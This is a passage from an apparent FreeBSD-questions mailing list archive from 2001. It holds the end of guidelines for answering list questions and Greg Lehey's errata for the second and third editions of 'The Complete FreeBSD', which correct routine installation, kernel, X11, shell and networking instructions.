too" answers don't help much, although there are exceptions, like when somebody is describing a problem he's having, and he doesn't know whether it's his fault or whether there's something wrong with the hardware or software. If you do send a "me too" answer, you should also include any further relevant information. 4. Are you sure you understand the question? Very frequently, the person who asks the question is confused or doesn't express himself very well. Even with the best understanding of the system, it's easy to send a reply which doesn't answer the question. This doesn't help: you'll leave the person who submitted the question more frustrated or confused than ever. If nobody else answers, and you're not too sure either, you can always ask for more information. 5. Are you sure your answer is correct? If not, wait a day or so. If nobody else comes up with a better answer, you can still reply and say, for example, "I don't know if this is correct, but since nobody else has replied, why don't you try replacing your ATAPI CD-ROM with a frog?". 6. Unless there's a good reason to do otherwise, reply to the sender and to FreeBSD-questions. Many people on the FreeBSD-questions are "lurkers": they learn by reading messages sent and replied to by others. If you take a message which is of general interest off the list, you're depriving these people of their information. Be careful with group replies; lots of people send messages with hundreds of CCs. If this is the case, be sure to trim the Cc: lines appropriately. 7. Include relevant text from the original message. Trim it to the minimum, but don't overdo it. It should still be possible for somebody who didn't read the original message to understand what you're talking about. 8. Use some technique to identify which text came from the original message, and which text you add. I personally find that prepending ``> '' to the original message works best. Leaving white space after the ``> '' and leave empty lines between your text and the original text both make the result more readable. 9. Put your response in the correct place (after the text to which it replies). It's very difficult to read a thread of responses where each reply comes before the text to which it replies. 10. Most mailers change the subject line on a reply by prepending a text such as ``Re: ''. If your mailer doesn't do it automatically, you should do it manually. 11. If the submitter didn't abide by format conventions (lines too long, inappropriate subject line), please fix it. In the case of an incorrect subject line (such as ``HELP!!??''), change the subject line to (say) ``Re: Difficulties with sync PPP (was: HELP!!??)''. That way other people trying to follow the thread will have less difficulty following it. In such cases, it's appropriate to say what you did and why you did it, but try not to be rude. If you find you can't answer without being rude, don't answer. If you just want to reply to a message because of its bad format, just reply to the submitter, not to the list. You can just send him this message in reply, if you like. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 17: 3:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 645) id 7060537B418; Fri, 23 Nov 2001 17:02:05 -0800 (PST) To: FreeBSD-questions@FreeBSD.org Subject: "The Complete FreeBSD", third edition: errata and addenda Message-Id: <20011124010205.7060537B418@hub.freebsd.org> Date: Fri, 23 Nov 2001 17:02:05 -0800 (PST) From: grog@FreeBSD.ORG (Greg Lehey) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Errata and addenda for the Complete FreeBSD, third edition Last revision: 2 August 1999 The trouble with books is that you can't update them the way you can a web page or any other online documentation. The result is that most leading edge computer books are out of date almost before they are printed. Unfortunately, ``The Complete FreeBSD'', published by Walnut Creek, is no exception. In- evitably, a number of bugs and changes have surfaced. The following is a list of modifications which go beyond simple typos. They relate to the third edition, formatted on 17 May 1999. You'll find this information on page iv (the page before the beginning of the Table of Contents). See the end of this document for instructions on how to find the errata for an older version. You can get the current document in four forms: o A PostScript version, suitable for printing out, at ftp://ftp.lemis.com/pub/cfbsd/errata-3.ps. See page 302 of the third edition to find out how to print out PostScript. If at all possible, please take this document: it's closest to the original text. Be careful selecting this file with a web browser: it is often impossible to reload the document, and you may see a previously cached version. o An enhanced ASCII version at ftp://ftp.lemis.com/pub/cfbsd/errata-3.txt. When viewed with more or less, this version will show some highlighting and underlining. It's not suitable for direct viewing. o An ASCII-only version at ftp://ftp.lemis.com/pub/cfbsd/errata-3.ascii. This version is posted every week to the FreeBSD-questions mailing list. Only take this version if you have real problems with PostScript: I can't be sure that the lack of different fonts won't confuse the meaning. o A web version at http://www.lemis.com/errata-3.html. All these modifications have been applied to the ongoing source text of the book, so if you buy a later edition, they will be in it as well. If you find a Page 1 The Complete FreeBSD bug or a suspected bug in the book, please contact me at Page ii _______ The instructions on page ii (opposite the title page) tell you to look at ftp://ftp.lemis.com/pub/cfbsd/errata-2 for the errata list. That's wrong. Look at this list. Pages 190 and 191 _________________ The description is not very clear about which text appears when booting from floppy for initial install, and which appears when booting normally. The procedure is very similar, but there are some differences. Add the following text after the heading Boot messages: You'll boot your system in at least two different ways: initially you'll boot from floppy or CD-ROM in order to install the system. Later, after the system is installed, you'll boot from hard disk. The procedure is almost identical, so we'll look at both versions in the following examples. Replace the text from the middle of page 191 with: If you're booting from 1.44 MB floppies, you will then see: Please insert MFS root floppy and press enter: When you insert the MFS root floppy and press Enter, you see more twirling batons, then the UserConfig screen appears. UserConfig: Modifying the boot configuration ____________________________________________ After the kernel has been loaded, the following screen will appear if you are installing the system, or if you have requested it with the -c option to the boot loader: Page 206 ________ The bottom two lines on this page should be in bold constant font, indicating that this is input for your /etc/rc.config file Page 2 Errata and addenda for the Complete FreeBSD, third edition nfs_client_enable="YES" # This host is an NFS client (or NO). nfs_server_enable="YES" # This host is an NFS server (or NO). Page 265 ________ The example on the second half of the page refers to the old SCSI driver. The scsi program is no longer available in FreeBSD 3.x. Instead, use the camcontrol program. Replace the text with:. Modern disks make provisions for recovering from such errors by allocating an alternate sector for the data. IDE drives do this automatically, but with SCSI drives you have the option of enabling or disabling reallocation. Usually it is turned on when you buy them, but occasionally it is not. When installing a new disk, you should check that the parameters ARRE (Auto Read Reallocation Enable) and AWRE (Auto Write Reallocation Enable) are turned on. For example, to check and set the values for disk da1, you would enter: # camcontrol modepage da1 -m 1 -e -P 3 # scsi -f /dev/rda1c -m 1 -e -P 3 This command will start up your favourite editor (either the one specified in the EDITOR environment variable, or vi by default) with the following data: AWRE (Auto Write Reallocation Enbld): 0 ARRE (Auto Read Reallocation Enbld): 1 TB (Transfer Block): 0 RC (Read Continuous): 0 EER (Enable Early Recovery): 0 PER (Post Error): 0 DTE (Disable Transfer on Error): 0 DCR (Disable Correction): 0 Read Retry Count: 16 Correction Span: 41 Head Offset Count: 0 Data Strobe Offset Count: 0 Write Retry Count: 16 Recovery Time Limit: 0 The values for AWRE and ARRE should both be 1. If they aren't, as in this case, where AWRE is 0, change the data with the editor, save it, and exit. The camcontrol program will write the data back to the disk and enable the option. Page 3 The Complete FreeBSD Page 331 ________ The description of the config refers to the SCSI drive sd0. This is the old name; in FreeBSD version 3, SCSI drives are called da, so this reference should be da0. Thanks to Francisco Reyes for pointing out this problem. Page 362 ________ Replace the text at the top of the page with: Next, change to the build directory and build the kernel: # cd ../../compile/FREEBIE # make depend # make The make depend is needed even if the directory has just been created: apart from creating dependency information, it also creates some files needed for the build. Thanks to Mark Ovens for drawing this to my attention, and to Francisco Reyes and Bill Fumerola for pointing out that it still wasn't fixed in the third edition. Page 409 ________ The information on setting the default routers specified the wrong end of the PPP links in some places. It should always be the ``far'' end of the link. Replace the second example on page 409, and the text following it, with this text: defaultrouter="139.130.136.129" # Set to default gateway (or NO). static_routes="" # Set to static route list (or leave empty). gateway_enable="YES" # Set to YES if this host will be a gateway. This is the normal way to set the default route on a point-to-point interface. In fact, for PPP you don't need to specify the default address: the PPP packages will set it for you when the link comes up. This makes it possible to Page 4 Errata and addenda for the Complete FreeBSD, third edition set default routes when you're forced to use dynamic IP addresses, where you don't know the address at this point. We'll see how PPP does this on page 446. In the first example on page 410, the sixth example on page 412 and the second example on page 413, replace the defaultrouter definition with: defaultrouter="139.130.237.65" # Set to default gateway (or NO). Thanks to Andreas Longwitz for pointing out this error. Getting errata for older editions of the book _____________________________________________ There have been a total of five different versions of ``The Complete FreeBSD''. The most accurate way to distinguish them is by the format date, which you'll find at the bottom of page iv (the page before the beginning of the Table of Contents) in all versions of the book. 1. The first was titled ``Installing and running FreeBSD'', and was formatted on 24 February 1996. No errata list exists for this book. 2. For the first edition (19 July 1996), get ftp://ftp.lemis.com/pub/cfbsd/er- rata-1. This same file is also available via the web link http://www.lemis.com/errata-1. I am no longer updating this errata list. 3. The list for the second edition (16 December 1997) is available in four forms: o A PostScript version, suitable for printing out, at ftp://ftp.lemis.com/pub/cfbsd/errata-2.ps. See page 222 of the second edition to find out how to print out PostScript. If at all possible, please take this document: it's closest to the original text. Be careful selecting this file with a web browser: it is often impossible to reload the document, and you may see a previously cached version. o An enhanced ASCII version at ftp://ftp.lemis.com/pub/cfbsd/errata-2.txt. When viewed with more or less, this version will show some highlighting and underlining. It's not suitable for direct viewing. o An ASCII-only version at ftp://ftp.lemis.com/pub/cfbsd/errata-2.ascii. This version is posted every week to the FreeBSD-questions mailing list. Only Page 5 Getting errata for older editions of the book take this version if you have real problems with PostScript: I can't be sure that the lack of different fonts won't confuse the meaning. o A web version at http://www.lemis.com/errata-2.html. 4. The revised second edition was formatted on 11 February 1999. As the name suggests, it's not a complete new edition: in fact, only three chapters are different: o The chapter ``Setting up X11'' has been brought up to date. o Appendix D (``Contents of the Ports Collection'') has been replaced by two appendixes, ``Errata and Addenda'' (the errata list up to date at the time) and ``FreeBSD 3.0'', which describes the differences between FreeBSD 2.x and FreeBSD 3.x. There is no separate errata list for this book. Refer to the second edition errata list. 5. The current, third edition, formatted on 17 May 1999. This is the correct list for this edition. Page 6 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 17: 3:31 2001 Delivered-To: freebsd-questions@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 645) id C72BC37B419; Fri, 23 Nov 2001 17:02:05 -0800 (PST) To: FreeBSD-questions@FreeBSD.org Subject: "The Complete FreeBSD", second edition: errata and addenda Message-Id: <20011124010205.C72BC37B419@hub.freebsd.org> Date: Fri, 23 Nov 2001 17:02:05 -0800 (PST) From: grog@FreeBSD.ORG (Greg Lehey) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Errata and addenda for the Complete FreeBSD, second edition Last revision: 21 June 1999 The trouble with books is that you can't update them the way you can a web page or any other online documentation. The result is that most leading edge computer books are out of date almost before they are printed. Unfortunately, ``The Complete FreeBSD'', published by Walnut Creek, is no exception. In- evitably, a number of bugs and changes have surfaced. The following is a list of modifications which go beyond simple typos. They relate to the second edition, formatted on 16 December 1997. If you have this book, please check this list. If you have the first edition of 19 July 1996, please check ftp://ftp.lemis.com/pub/cfbsd/errata-1. This same file is also available via the web link http://www.lemis.com/. This list is available in four forms: o A PostScript version, suitable for printing out, at ftp://ftp.lemis.com/pub/cfbsd/errata-2.ps. See page 222 of the book to find out how to print out PostScript. If at all possible, please take this document: it's closest to the original text. Be careful selecting this file with a web browser: it is often impossible to reload the document, and you may see a previously cached version. o An enhanced ASCII version at ftp://ftp.lemis.com/pub/cfbsd/errata-2.txt. When viewed with more or less, this version will show some highlighting and underlining. It's not suitable for direct viewing. o An ASCII-only version at ftp://ftp.lemis.com/pub/cfbsd/errata-2.ascii. This version is posted every week to the FreeBSD-questions mailing list. Only take this version if you have real problems with PostScript: I can't be sure that the lack of different fonts won't confuse the meaning. o A web version at http://www.lemis.com/errata-2.html. All these modifications have been applied to the ongoing source text of the book, so if you buy a later edition, they will be in it as well. If you find a Page 1 The Complete FreeBSD bug or a suspected bug in the book, please contact me at General changes _______________ o In a number of places, I suggest the use of the following command to find process information: $ ps aux | grep foo Unfortunately, ps is sensitive to the column width of the terminal emulator upon which it is working. This command usually works fine on a relatively wide xterm, but if you're running on an 80-column terminal, it may truncate exactly the information you're looking for, so you end up with no output. You can fix that with the w option: $ ps waux | grep foo Thanks to Sue Blake for this information Location of the sample files ____________________________ On the 2.2.5 CD-ROM only, the location of the sample files does not match the specifications in the book (/book on the first CD-ROM). The 2.2.5 CD-ROM came out before the book, and it contains the files on the third (repository) CD-ROM as a single gzipped tar file /xperimnt/cfbsd/cfbsd.tar.gz. It contains the following files: drwxr-xr-x jkh/jkh 0 Oct 17 13:01 1997 cfbsd/ drwxr-xr-x jkh/jkh 0 Oct 17 13:01 1997 cfbsd/mutt/ -rw-r--r-- jkh/jkh 352 Oct 15 15:21 1997 cfbsd/mutt/.mail_aliases -rw-r--r-- jkh/jkh 9394 Oct 15 15:22 1997 cfbsd/mutt/.muttrc drwxr-xr-x jkh/jkh 0 Oct 17 14:02 1997 cfbsd/scripts/ -rw-r--r-- jkh/jkh 18281 Oct 16 16:52 1997 cfbsd/scripts/.fvwm2rc -rwxr-xr-x jkh/jkh 1392 Oct 17 12:54 1997 cfbsd/scripts/install-desktop -rw-r--r-- jkh/jkh 296 Oct 17 12:35 1997 cfbsd/scripts/.xinitrc -rwxr-xr-x jkh/jkh 622 Oct 17 13:51 1997 cfbsd/scripts/install-rcfiles -rw-r--r-- jkh/jkh 1133 Oct 17 13:00 1997 cfbsd/scripts/Uutry -rw-r--r-- jkh/jkh 1028 Oct 17 14:02 1997 cfbsd/scripts/README drwxr-xr-x jkh/jkh 0 Oct 18 19:32 1997 cfbsd/docs/ -rw-r--r-- jkh/jkh 199111 Oct 16 14:29 1997 cfbsd/docs/packages.txt Page 2 Errata and addenda for the Complete FreeBSD, second edition -rw-r--r-- jkh/jkh 189333 Oct 16 14:28 1997 cfbsd/docs/packages-by-category.txt -rw-r--r-- jkh/jkh 188108 Oct 16 14:29 1997 cfbsd/docs/packages.ps -rw-r--r-- jkh/jkh 226439 Oct 16 14:27 1997 cfbsd/docs/packages-by-category.ps -rw-r--r-- jkh/jkh 788 Oct 16 15:01 1997 cfbsd/README -rw-r--r-- jkh/jkh 248 Oct 17 11:52 1997 cfbsd/errata To extract one of these files, say cfbsd/docs/packages.txt, and assuming you have the CD-ROM mounted as /cdrom, enter: # cd /usr/share/doc # tar xvzf /cdrom/xperimnt/cfbsd/cfbsd.tar.gz cfbsd/docs/packages.txt See page 209 for more information on using tar. These files are an early version of what is described in the book. I'll put up some updated versions on ftp://ftp.lemis.com/ in the near future. Thanks to Frank McCormick for drawing this to my attention. Chapter 8: Setting up X11 _________________________ For FreeBSD 2.2.7, this chapter has changed sufficiently to make it impractical to distribute errata. You can download the PostScript version from ftp://www.lemis.com/pub/cfbsd/xsetup.ps, or the ASCII version from ftp://www.lemis.com/pub/cfbsd/xsetup.txt. No HTML version is available. Page xxxiv __________ Before the discussion of the shell prompts in the middle of the page, add: In this book, I recommend the use of the Bourne shell or one of its descendents (sh, bash, pdksh, ksh or zsh). With the exception of sh, they are all in the Ports Collection. I personally use the bash shell. This is a personal preference, and a recommendation, but it's not the standard shell. The standard BSD shell is the C shell (csh), which has a fuller- featured descendent tcsh. In particular, the standard installation sets the root user up with a csh. See page 152 (in this errata) for details of how to change the shell. Page 3 General changes Page 11: Reading the handbook _____________________________ The CD-ROM now includes Netscape. Replace the last paragraph on the page and the example on the following page with: If you're running X, you can use a browser like netscape to read the handbook. If you don't have X running yet, use lynx. Both of these programs are included on the CD-ROM. To install them, enter: # pkg_add /cdrom/packages/All/netscape-communicator-4.5.tgz or # pkg_add /cdrom/packages/All/lynx-2.8.1.1.tgz The numbers after the name (4.5 and 2.8.1.1) may change after this book has been printed. Use ls to list the names if you can't find these particular versions. Note that lynx is not a complete substitute for netscape: since it is text- only, it is not capable of displaying the large majority of web pages correctly. It will suffice for reading most of the handbook, however. Thanks to Stuart Henderson and for drawing this to my attention. Page 12: Printing the handbook ______________________________ The instructions for formatting the handbook are obsolete. Replace the section starting Alternatively, you can print out the handbook with the following text: Alternatively, you can print out the handbook. You need to have the documentation sources (/usr/doc) installed on your system. You can find them on the second CD-ROM in the directory of the same name. To install them, first mount your CD-ROM (see page 175). Then enter: $ cd /cdrom/usr/doc/handbook $ mkdir -p /usr/doc/handbook you may need to be root for this operation $ cp -pr * /usr/doc/handbook You have a choice of formats for the output: o ascii will give you plain 7-bit ASCII output, suitable for reading on a character-mode terminal. Page 4 Errata and addenda for the Complete FreeBSD, second edition o html will give you HTML output, suitable for browsing with a web browser. o latex will give you LATEX format, suitable for further processing with TEX and LATEX. o ps will give you PostScript output, probably the best choice for printing. o roff will give you output in troff source. You can process this output with nroff or troff, but it's currently not very polished. LATEX output is a better choice if you want to process it further. Once you have decided your format, use make to create the document. For example, if you decide on PostScript format, you would enter: $ make FORMATS=ps This creates a file handbook.ps which you can then print to a PostScript printer or with the aid of ghostscript (see page 222). Thanks to Bob Beer for drawing this to my attention. Page 45: Preparing floppies for installation _____________________________________________ Replace the paragraph below the list of file names (in the middle of the page) with: The floppy set should contain the file bin.inf and the ones whose names start with bin. followed by two letters. These other files are all 240640 bytes long, except for the final one which is usually shorter. Use the MS-DOS COPY program to copy as many files as will fit onto each disk (5 or 6) until you've got all the distributions you want packed up in this fashion. Copy each distribution into subdirectory corresponding to the base name--for example, copy the bin distribution to the files A:\BIN\BIN.INF, A:\BIN\BIN.AA and so on. Page 80 and 81 ______________ In a couple of examples, the FreeBSD partition is shown as type 164. It should be 165. Thanks to an unknown contributer for this correction (sorry, I lost your name). Page 5 General changes Page 88: setting up for dumping _______________________________ The example mentions a variable savecore in /etc/rc.conf. This variable is no longer used--it's enough to set the variable dumpdev. Page 92 _______ At the end of the section How to install a package add the text: Alternatively, you can install packages from the /stand/sysinstall Final Configuration Menu. We saw this menu on page in figure 4-14 on page 71. When you start sysinstall from the command line, you get to this menu by selecting Index, and then selecting Configure. Page 93 _______ Before the heading Install ports from the first CD-ROM add: Install ports when installing the system ________________________________________ The file ports/ports.tgz on the first CD-ROM is a tar archive containing all the ports. You can install it with the base system if you select the Custom distribution and include the ports collection. If you didn't install them at the time, use the following method to install them all (about 40 MB). Make sure your CD-ROM is mounted (in this example on /cdrom), and enter: Page 96 _______ Replace the example at the top of the page with: Instead, do: # cd /cd4/ports/distfiles # mkdir -p /usr/ports/distfiles make sure you have a distfiles directory # for i in *; do > ln -s /cd4/ports/distfiles/$i /usr/ports/distfiles/$i > done Page 6 Errata and addenda for the Complete FreeBSD, second edition If you're using csh or tcsh, enter: # cd /cd4/ports/distfiles # mkdir -p /usr/ports/distfiles make sure you have a distfiles directory # foreach i (*) ? ln -s /cd4/ports/distfiles/$i /usr/ports/distfiles/$i ? end Thanks to Christopher Raven and Francois Jacques for drawing this to my attention. Page 104 ________ The examples at the bottom of the page and the top of the next page specify the wrong directory (/usr). It should be /usr/X11R6. Replace the examples with: For a full install, choose /cdrom/dists/XF86331/X331*.tgz. If you are using sh, enter: # cd /usr/X11R6 # for i in /cdrom/dists/XF86331/X331*.tgz; do # tar xzf $i # done If you are using csh, enter: % cd /usr/X11R6 % foreach i (/cdrom/dists/XF86331/X331*.tgz) % tar xzf $i % end For a minimal installation, first choose a server archive corresponding to your VGA board. If table 8-2 on page 103 doesn't give you enough information, check the server man pages, starting on page 1545, which list the VGA chip sets supported by each server. For example, if you have an ET4000 based board you will use the XF86_SVGA server. In this case you would enter: # cd /usr/X11R6 # tar xzf /cdrom/dists/XF86331/X331SVGA.tgz substitute your server name here # for i in bin fnts lib xicf; do # tar xzf /cdrom/dists/XF86331/X331$i.tgz # done Page 7 Install ports when installing the system If you are using csh, enter: % cd /usr/X11R6 % tar xzf /cdrom/dists/XF86331/X331SVGA.tgz substitute your server name here % foreach i (bin fnts lib xicf) % tar xzf /cdrom/dists/XF86331/$i % end Thanks to Manuel Enrique Garcia Cuesta for pointing out this one. Page 128 ________ Replace the complete text below the example with the following: These values are defaults, and many are either incorrect for FreeBSD (for example the device name /dev/com1) or do not apply at all (for example Xqueue). If you are configuring manually, select one Protocol and one Device entry from the following selection. If you must use a two-button mouse, uncomment the keyword Emulate3Buttons--in this mode, pressing both mouse buttons simultane- ously within Emulate3Timeout milliseconds causes the server to report a middle button press. Section "Pointer" Protocol "Microsoft" for Microsoft protocol mice Protocol "MouseMan" for Logitech mice Protocol "PS/2" for a PS/2 mouse Protocol "Busmouse" for a bus mouse Device "/dev/ttyd0" for a mouse on the first serial port Device "/dev/ttyd1" for a mouse on the second serial port Device "/dev/ttyd2" for a mouse on the third serial port Device "/dev/ttyd3" for a mouse on the fourth serial port Device "/dev/psm0" for a PS/2 mouse Device "/dev/mse0" for a bus mouse Emulate3Buttons only for a two-button mouse EndSection You'll notice that the protocol name does not always match the manufacturer's Page 8 Errata and addenda for the Complete FreeBSD, second edition name. In particular, the Logitech protocol only applies to older Logitech mice. The newer ones use either the MouseMan or Microsoft protocols. Nearly all modern serial mice run one of these two protocols, and most run both. If you are using a bus mouse or a PS/2 mouse, make sure that the device driver is included in the kernel. The GENERIC kernel contains drivers for both mice, but the PS/2 driver is disabled. Use UserConfig (see page 50) to enable it. Page 140 ________ Just before the paragraph The super user add the following paragraph: If you do manage to lose the root password, all may not be lost. Reboot the machine to single user mode (see page 157), and enter: # mount -u / mount root file system read/write # mount /usr mount /usr file system (if separate) # passwd root change the password for root Enter new password: Enter password again: # ^D enter ctrl-D to continue with startup If you have a separate /usr file system (the normal case), you need to mount it as well, since the passwd program is in the directory /usr/bin. Note that you should explicitly state the name root: in single user mode, the system doesn't have the concept of user IDs. Page 148 ________ Replace the text at the top of the page with: Modern shells supply command line editing which resembles the editors vi or Emacs. In bash, sh, ksh, and zsh you can make the choice by entering Page 152 ________ After figure 10-8, add the following text: It would be tedious for every user to put settings in their private initialization files, so the shells also read a system-wide default file. For the Bourne shell family, it is /etc/profile, while the C shell family has three Page 9 Install ports when installing the system files: /etc/csh.login to be executed on login, /etc/csh.cshrc to be executed when a new shell is started after you log in, and /etc/csh.logout to be executed when you stop a shell. The start files are executed before the corresponding individual files. In addition, login classes (page 141) offer another method of setting environment variables at a global level. Changing your shell ___________________ The FreeBSD installation gives root a C shell, csh. This is the traditional Berkeley shell, but it has a number of disadvantages: command line editing is very primitive, and the script language is significantly different from that of the Bourne shell, which is the de facto standard for shell scripts: if you stay with the C shell, you may still need to understand the Bourne shell. The latest version of the Bourne shell sh also includes some command line editing. See page 148 for details of how to enable it. You can get better command line editing with tcsh, in the Ports Collection. You can get both better command line editing and Bourne shell syntax with bash, also in the Ports Collection. If you have root access, you can use vipw to change your shell, but there's a more general way: use chsh (Change Shell). Simply run the program. It starts your favourite editor (as defined by the EDITOR environment variable). Here's an example before: #Changing user database information for velte. Shell: /bin/csh Full Name: Jack Velte Location: Office Phone: Home Phone: You can change anything after the colons. For example, you might change this to: #Changing user database information for velte. Shell: /usr/local/bin/bash Full Name: Jack Velte Location: On the road Office Phone: +1-408-555-1999 Home Phone: Page 10 Errata and addenda for the Complete FreeBSD, second edition chsh checks and updates the password files when you save the modifications and exit the editor. The next time you log in, you get the new shell. chsh tries to ensure you don't make any mistakes--for example, it won't let you enter the name of a shell which isn't mentioned in the file /etc/shells--but it's a very good idea to check the shell before logging out. You can try this with su, which you normally use to become super user: bumble# su velte Password: su-2.00$ note the new prompt There are a couple of problems in using tcsh or bash as a root shell: o The shell for root must be on the root file system, otherwise it will not work in single user mode. Unfortunately, most ports of shells put the shell in the directory /usr/local/bin, which is almost never on the root file system. o Most shells are dynamically linked: they rely on library routines in files such as /usr/lib/libc.a. These files are not available in single user mode, so the shells won't work. You can solve this problem by creating statically linked versions of the shell, but this requires programming experience beyond the scope of this book. If you can get hold of a statically linked version, perform the following steps to install it: o Copy the shell to /bin, for example: # cp /usr/local/bin/bash /bin o Add the name of the shell to /etc/shells, in this example the line in bold print: # List of acceptable shells for chpass(1). # Ftpd will not allow users to connect who are not using # one of these shells. /bin/sh /bin/csh /bin/bash You can then change the shell for root as described above. Page 11 Install ports when installing the system Thanks to Lars Koller for drawing this to my attention. Page 160 ________ Replace the text at the fourth bullet with the augmented text: The second-level boot locates the kernel, by default the file /kernel on the root file system, and loads it into memory. It prints the Boot: prompt at this point so that you can influence this choice--see the man page on page 579 for more details of what you can enter at this prompt. Page 169 ________ Replace the last paragraph on the page with: The standard solution for these problems is to relocate the /tmp file system to a different directory, say /usr/tmp, and create a symbolic link from /usr/tmp to /tmp--see Chapter 4, Installing FreeBSD, page 72, for more details. Thanks to Charlie Sorsby for drawing this to my attention. Page 176 ________ Add the following paragraph Unmounting file systems When you mount a file system, the system assumes it is going to stay there, and in the interests of efficiency it delays writing data back to the file system. This is the same effect we discussed on page 158. As a result, if you want to stop using a file system, you need to tell the system about it. You do this with the umount command. Note the spelling--there's no n in the command name. You need to do this even with read-only media such as CD-ROMs: the system assumes it can access the data from a mounted file system, and it gets quite unhappy if it can't. Where possible, it locks removable media so that you can't remove them from the device until you unmount them. Using umount is straightforward: just tell it what to unmount, either the device name or the directory name. For example, to unmount the CD-ROM we Page 12 Errata and addenda for the Complete FreeBSD, second edition mounted in the example above, you could enter one of these commands: # umount /dev/cd1a # umount /cd1 Before unmounting a file system, umount checks that nobody is using it. If somebody is using it, it will refuse to unmount it with a message like umount: /cd1: Device busy. This message often occurs because you have changed your directory to a directory on the file system you want to remove. For example (which also shows the usefulness of having directory names in the prompt): === root@freebie (/dev/ttyp2) /cd1 16 -> umount /cd1 umount: /cd1: Device busy === root@freebie (/dev/ttyp2) /cd1 17 -> cd === root@freebie (/dev/ttyp2) ~ 18 -> umount /cd1 === root@freebie (/dev/ttyp2) ~ 19 -> Thanks to Ken Deboy for pointing out this omission. Page 180 ________ The example in the middle of the page should read: For example, to generate a second set of 32 pseudo-terminals, enter: # cd /dev # ./MAKEDEV pty1 You can generate up to 256 pseudo-terminals. They are named ttyp0 through ttypv, ttyq0 through ttyqv, ttyr0 through ttyrv, ttys0 through ttysv, ttyP0 through ttyPv, ttyQ0 through ttyQv, ttyR0 through ttyRv and ttyS0 through ttySv. To create each set of 32 terminals, use the number of the set: the first set is pty0, and the eighth set is pty7. Note that some processes, such as xterm, only look at ttyp0 through ttysv. Thanks to Karl Wagner for pointing out this error. Page 197, first line ____________________ The text of the first full sentence reads: Page 13 Install ports when installing the system The first name, up the the symbol, is the label. In fact, it should read: The first name, up to the | symbol, is the label. Page 208, middle of page ________________________ The example shows the file name /dev/rst0 when using the Bourne shell, and /dev/nrst0 when using C shell and friends. This is inconsistent; use /dev/nrst0 with any shell if you want a non-rewinding tape, or /dev/rst0 if you want a rewinding tape. Thanks to Norman C Rice for pointing out this one. Page 219 ________ Before the section Testing the spooler add the following section: As we saw above, the line printer daemon lpd is responsible for printing spooled jobs. By default it isn't started at boot time. If you're root, you can start it by name: # lpd Normally, however, you will want it to be started automatically when the system starts up. You do this by setting the variable lpd_enable in /etc/rc.conf: lpd_enable="YES" # Run the line printer daemon See page for more details of /etc/rc.conf. Another line in /etc/rc.conf refers to the line printer daemon: lpd_flags="" # Flags to lpd (if enabled). You don't normally need to change this line. See the man page for lpd for details of the flags. Thanks to Tommy G. James for bringing this to my attention. Page 14 Errata and addenda for the Complete FreeBSD, second edition Page 231 ________ Replace the first line of the example with: xhost presto bumble gw The original version allowed anybody on the Internet to access your system. Thanks to Jerry Dunham for drawing this one to my attention. Page 237 ________ In the section Installing the sample desktop, replace the first paragraph with: You'll find all the files described in this chapter on the first CD-ROM (Installation CD-ROM) in the directory /book. Remember that you must mount the CD-ROM before you can access the files--see page 175 for further details. The individual scripts are in the directory /book/scripts, but you'll probably find it easier to install them with the script install-desktop: Thanks to Chris Kaiser for drawing this to my attention. Page 242 ________ The instructions for extracting the source files from CD-ROM in the middle of page 242 are incorrect. You'll find the kernel sources on the first CD-ROM in the directory /src. Replace the example with: # mkdir -p /usr/src/sys # ln -s /usr/src/sys /sys # cd / # cat /cdrom/src/ssys.[a-d]* | tar xzvf - Thanks to Raymond Noel , Suttipan Limanond and Satwant for finding this one in several small slices. Page 15 Install ports when installing the system Page 257 ________ Replace the paragraph Berkeley Packet Filter with: pseudo-device bpfilter ______________________ The Berkeley Packet Filter (bpf) allows you to capture packets crossing a network interface to disk or to examine them with the tcpdump program. Note that this capability represents a significant compromise of network security. The number after bpfilter is the number of concurrent processes that can use the facility. Not all network interfaces support bpf. In order to use the Berkeley Packet Filter, you must also create the device nodes /dev/bpf0 to /dev/bpf3 (if you're using the default number 4). Current- ly, MAKEDEV doesn't help much--you need to create each device separately: # cd /dev # ./MAKEDEV bpf0 # ./MAKEDEV bpf1 # ./MAKEDEV bpf2 # ./MAKEDEV bpf3 Thanks to Christopher Raven for drawing this to my attention. Page 264 ________ In the list of disk driver flags, add: o Bit 12 (0x1000) enables LBA (logical block addressing mode). If this bit is not set, the driver accesses the disk in CHS (cylinder/head/sector) mode. o In CHS mode, if bits 11 to 8 are not equal to 0, they specify the number of heads to assume (between 1 and 15). The driver recalculates the number of cylinders to make up the total size of the disk. Page 16 Errata and addenda for the Complete FreeBSD, second edition Page 273, ``Building the kernel'' _________________________________ Replace the example with: Next, change to the build directory and build the kernel: # cd ../../compile/FREEBIE # make depend # make The make depend is needed even if the directory has just been created: apart from creating dependency information, it also creates some files needed for the build. Thanks to Mark Ovens for drawing this to my attention. Page 283, ``Creating the source tree'' ______________________________________ Add a third point to what you need to know: 3. Possibly, the date of the last update that you want to be included in the checkout. If you specify this date, cvs ignores any more recent updates. This option is often useful when somebody discovers a recently introduced bug in -CURRENT: you check out the modules as they were before the bug was introduced. You specify the date with the -D option, for example -D "10 December 1997". Page 285, after the second example. ___________________________________ Add the text: If you need to check out an older version, for example if there are problems with the most recent version of -CURRENT, you could enter: # cvs co -D "10 December 1997" src/sys This command checks out the kernel sources as of 10 December 1997. Page 17 Install ports when installing the system Page 294 ________ Add the following section: Problems executing Linux binaries _________________________________ One of the problems with the ELF format used by more recent Linux binaries is that they usually contain no information to identify them as Linux binaries. They might equally well be BSD/OS or UnixWare binaries. That's not really a problem at this point, since the only ELF format that FreeBSD 3.2 understands is Linux, but FreeBSD-CURRENT recognizes a native FreeBSD ELF format as well, and of course that's the default. If you want to run a Linux ELF binary on such a system, you must brand the executable using the program brandelf. For example, to brand the StarOffice program swriter3, you would enter: # brandelf -t linux /usr/local/StarOffice-3.1/linux-x86/bin/swriter3 Thanks to Dan 